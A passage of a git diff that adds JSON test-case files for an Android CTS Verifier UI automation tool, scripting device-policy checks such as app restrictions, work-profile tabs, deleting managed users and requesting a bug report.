+{"uuid":"49d12aa6-c679-44be-ba72-a6c46a5cd4d7","details":"{\"type\":\"CompoundAction\",\"name\":\"Sensor presetting\",\"actionId\":\"49d12aa6-c679-44be-ba72-a6c46a5cd4d7\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[],\"childrenIdList\":[\"460b5da5-d44f-4f91-ad3a-68715ff4684c\",\"1013c0fa-aac7-432d-aed1-e33c58b4d603\",\"2468d1f3-142c-41da-b713-09b253fe81f6\",\"b6c8e3c8-6ab1-4886-8f5e-037dd9346a51\",\"050ca8c7-6332-41f5-af2b-8a02b680bf14\",\"59dc74cf-f26b-4e66-85e1-4fb8ce477ae9\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Sensor presetting","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.272000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4a5899ed-71fd-4562-8aab-737e20b84297 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4a5899ed-71fd-4562-8aab-737e20b84297
new file mode 100644
index 0000000..fbb5ae9
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4a5899ed-71fd-4562-8aab-737e20b84297
@@ -0,0 +1 @@
+{"uuid":"4a5899ed-71fd-4562-8aab-737e20b84297","details":"{\"type\":\"CompoundAction\",\"name\":\"15-03-Disallow controlling apps\",\"actionId\":\"4a5899ed-71fd-4562-8aab-737e20b84297\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow controlling apps\",\"actionId\":\"56baac9e-bb68-4b41-8209-8ef222eb4c3f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow controlling apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"70ac26c9-793d-4727-997b-649783642abc\",\"displayText\":\"Disallow controlling apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow controlling apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":163.33333333333334,\"x2\":360.0,\"y2\":207.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":91.0,\"y\":180.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":89.0,\"y\":5.333333333333343,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"70ac26c9-793d-4727-997b-649783642abc\",\"firstText\":\"Disallow controlling apps\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow controlling apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":165.0,\"x2\":178.0,\"y2\":195.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow controlling apps\",\"actionId\":\"7dcff8bf-1385-4282-b9df-f7aa0a72e71c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow controlling apps\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find CtsPermissionApp\",\"actionId\":\"2c49567f-cc40-4ef8-9fdd-eab6ed9092a3\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"CtsPermissionApp\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"73a683f7-a858-4b5b-89cf-3da9515c1c4c\",\"displayText\":\"CtsPermissionApp\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"5e2efdd5-2b6e-4b09-aa91-6d38f7c136a3\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ba322457-c380-414b-8283-77f3d20ecba0\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":461.3333333333333,\"x2\":44.0,\"y2\":490.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":457.6666666666667,\"x2\":66.0,\"y2\":494.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"7712e3cb-a235-47de-b360-d372ce88b047\",\"displayText\":\"CtsPermissionApp\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"97340da8-0755-4135-b4fd-8a99bf202971\",\"displayText\":\"CtsPermissionApp\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"CtsPermissionApp\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":457.3333333333333,\"x2\":188.33333333333334,\"y2\":477.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.1666666666666714,\"y\":-0.33333333333337123,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"CtsPermissionApp\"},{\"uuid\":\"e8a23f8b-723f-4376-a391-da21b0429e4a\",\"displayText\":\"92.67 kB\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"92.67 kB\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":477.0,\"x2\":345.3333333333333,\"y2\":494.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"92.67 kB\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":442.6666666666667,\"x2\":345.3333333333333,\"y2\":509.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"CtsPermissionApp\"}],\"className\":\"android.widget.LinearLayout\",\"contentDesc\":\"CtsPermissionApp\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":442.6666666666667,\"x2\":360.0,\"y2\":509.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":126.0,\"y\":467.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":54.0,\"y\":8.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"97340da8-0755-4135-b4fd-8a99bf202971\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"CtsPermissionApp\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":64.0,\"y1\":453.0,\"x2\":188.0,\"y2\":482.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, CtsPermissionApp\",\"actionId\":\"067ab01d-c9da-4458-8843-bec74099374c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"CtsPermissionApp\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, uninstall button\",\"actionId\":\"324cd3e4-1040-44fa-86d5-da4cec98ee1b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button2\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"2a829745-dafd-4bb8-87c2-98c54855f20f\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"3f729d9a-a073-411a-af96-ed83aefeb20a\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to find Chrome\",\"actionId\":\"60dfcaf6-8694-4c17-9ef3-7d7920127c19\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Chrome\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"686fc021-cbb5-41c8-8261-c3003a4a3a47\",\"displayText\":\"com.google.wireless.qa.uicd.xmldumper.test\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"bf92bce5-6923-423a-b2ca-ec8ef0f96884\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e38f93eb-e59e-4101-80d5-bb0a31d2b959\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":126.33333333333333,\"x2\":44.0,\"y2\":155.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":122.66666666666667,\"x2\":66.0,\"y2\":159.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"4f128d23-20cd-4505-b8bd-66dd87e8adb3\",\"displayText\":\"com.google.wireless.qa.uicd.xmldumper.test\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"79f94cb6-1a02-4330-86f6-2e78a017dd11\",\"displayText\":\"com.google.wireless.qa.uicd.xmldumper.test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"com.google.wireless.qa.uicd.xmldumper.test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":122.33333333333333,\"x2\":345.3333333333333,\"y2\":142.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":110.16666666666666,\"y\":-0.3333333333333428,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"com.google.wireless.qa.uicd.xmldumper.test\"},{\"uuid\":\"8782fe0e-6d46-41b3-99aa-196abce6627c\",\"displayText\":\"838 kB\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"838 kB\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":142.0,\"x2\":345.3333333333333,\"y2\":159.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"838 kB\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":107.66666666666667,\"x2\":345.3333333333333,\"y2\":174.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"com.google.wireless.qa.uicd.xmldumper.test\"}],\"className\":\"android.widget.LinearLayout\",\"contentDesc\":\"com.google.wireless.qa.uicd.xmldumper.test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":107.66666666666667,\"x2\":360.0,\"y2\":174.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":95.5,\"y\":132.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":84.5,\"y\":8.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"79f94cb6-1a02-4330-86f6-2e78a017dd11\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Chrome\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":119.0,\"x2\":137.0,\"y2\":146.0},\"scrollOrientation\":1,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Chrome\",\"actionId\":\"fb7e169a-6b81-48c3-9114-550ce2f86071\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Chrome\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disable button\",\"actionId\":\"184c9305-e9de-4d02-af1b-c06039b2dc68\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button2\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"06bb9bd4-2475-4853-89be-59f6665a4807\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, iForce stop button\",\"actionId\":\"aba70a51-d52d-485b-9368-93b10f04aa27\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.settings:id/button3\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"56baac9e-bb68-4b41-8209-8ef222eb4c3f\",\"7dcff8bf-1385-4282-b9df-f7aa0a72e71c\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"2c49567f-cc40-4ef8-9fdd-eab6ed9092a3\",\"067ab01d-c9da-4458-8843-bec74099374c\",\"324cd3e4-1040-44fa-86d5-da4cec98ee1b\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"2a829745-dafd-4bb8-87c2-98c54855f20f\",\"3f729d9a-a073-411a-af96-ed83aefeb20a\",\"60dfcaf6-8694-4c17-9ef3-7d7920127c19\",\"fb7e169a-6b81-48c3-9114-550ce2f86071\",\"184c9305-e9de-4d02-af1b-c06039b2dc68\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"06bb9bd4-2475-4853-89be-59f6665a4807\",\"aba70a51-d52d-485b-9368-93b10f04aa27\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"da770381-d17c-48ca-8aba-def4338ef96b\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-03-Disallow controlling apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.127000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4aa267cc-73f0-487e-aa22-e57d487ff769 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4aa267cc-73f0-487e-aa22-e57d487ff769
new file mode 100644
index 0000000..c0fe4d6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4aa267cc-73f0-487e-aa22-e57d487ff769
@@ -0,0 +1 @@
+{"uuid":"4aa267cc-73f0-487e-aa22-e57d487ff769","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify Personal and Work tabs\",\"actionId\":\"4aa267cc-73f0-487e-aa22-e57d487ff769\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Personal\",\"actionId\":\"3fb09b95-68b5-4f40-83cc-03cbaee31e4a\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Personal\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Work\",\"actionId\":\"21142382-0d75-408e-9188-7a7840f35f81\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Work\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"3fb09b95-68b5-4f40-83cc-03cbaee31e4a\",\"21142382-0d75-408e-9188-7a7840f35f81\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify Personal and Work tabs","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.298000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4c401ff4-c80e-44d8-b94c-819dc1366093 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4c401ff4-c80e-44d8-b94c-819dc1366093
new file mode 100644
index 0000000..d095212
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4c401ff4-c80e-44d8-b94c-819dc1366093
@@ -0,0 +1 @@
+{"uuid":"4c401ff4-c80e-44d8-b94c-819dc1366093","details":"{\"type\":\"CompoundAction\",\"name\":\"Delete managed users\",\"actionId\":\"4c401ff4-c80e-44d8-b94c-819dc1366093\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"PYSCRIPT-Delete users\",\"actionId\":\"b4464671-7477-4aa1-bbac-271f89f5a729\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nwhile d.text(\\\"managed user\\\").verify_exist():\\n    d.text(\\\"managed user\\\").click()\\n    d.text(\\\"Delete user\\\").click()\\n    d.resource_id(\\\"android:id/button1\\\").click()\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"12e01265-ef71-4a9b-92fa-96edbbf0df2a\",\"64db6b9d-caaa-442f-840a-80ef16030e55\",\"b4464671-7477-4aa1-bbac-271f89f5a729\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Delete managed users","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.081000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1
new file mode 100644
index 0000000..8fe96f2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1
@@ -0,0 +1 @@
+{"uuid":"4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1","details":"{\"type\":\"CompoundAction\",\"name\":\"15-21-Disallow config brightness\",\"actionId\":\"4da412fa-0048-4a4b-9ba8-d4aabc5dd6a1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"e395e5d8-df59-4e7d-bf18-6cd65da3ff8b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-21-Disallow config brightness","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.151000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a
new file mode 100644
index 0000000..be66ec8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a
@@ -0,0 +1 @@
+{"uuid":"4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a","details":"{\"type\":\"CompoundAction\",\"name\":\"16-03-Request bug report\",\"actionId\":\"4e7e041d-2ca6-409d-9c9f-544c4f9a4a0a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Request bug report\",\"actionId\":\"fece80c6-bee5-43e4-90ca-191f56421177\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Request bug report\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"b1c2a7b7-6713-4387-be6f-b5fcb8300ef2\",\"displayText\":\"Request bug report\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Request bug report\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":168.25,\"x2\":351.25,\"y2\":210.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":77.5,\"y\":190.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":102.5,\"y\":-0.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"b1c2a7b7-6713-4387-be6f-b5fcb8300ef2\",\"firstText\":\"Request bug report\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Request bug report\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":168.0,\"x2\":151.0,\"y2\":212.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Request bug report\",\"actionId\":\"589394c1-b8e5-4dde-9204-1f533d477e7a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Request bug report\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Request Bug Report\",\"actionId\":\"ade60687-589d-4c6c-a9fa-53ea5e71b542\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Request Bug Report\"},{\"type\":\"PythonScriptAction\",\"name\":\"Verify that you are told a bug report was last requested at the time you pressed\",\"actionId\":\"18d592ec-a43f-4de7-b8c0-260136c30c87\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\nfrom python_uiautomator.constant import MatchOption\\n\\nuicd_util = UICDPythonUtil()\\nd= Device.create_device_by_slot(0)\\n\\ntime = 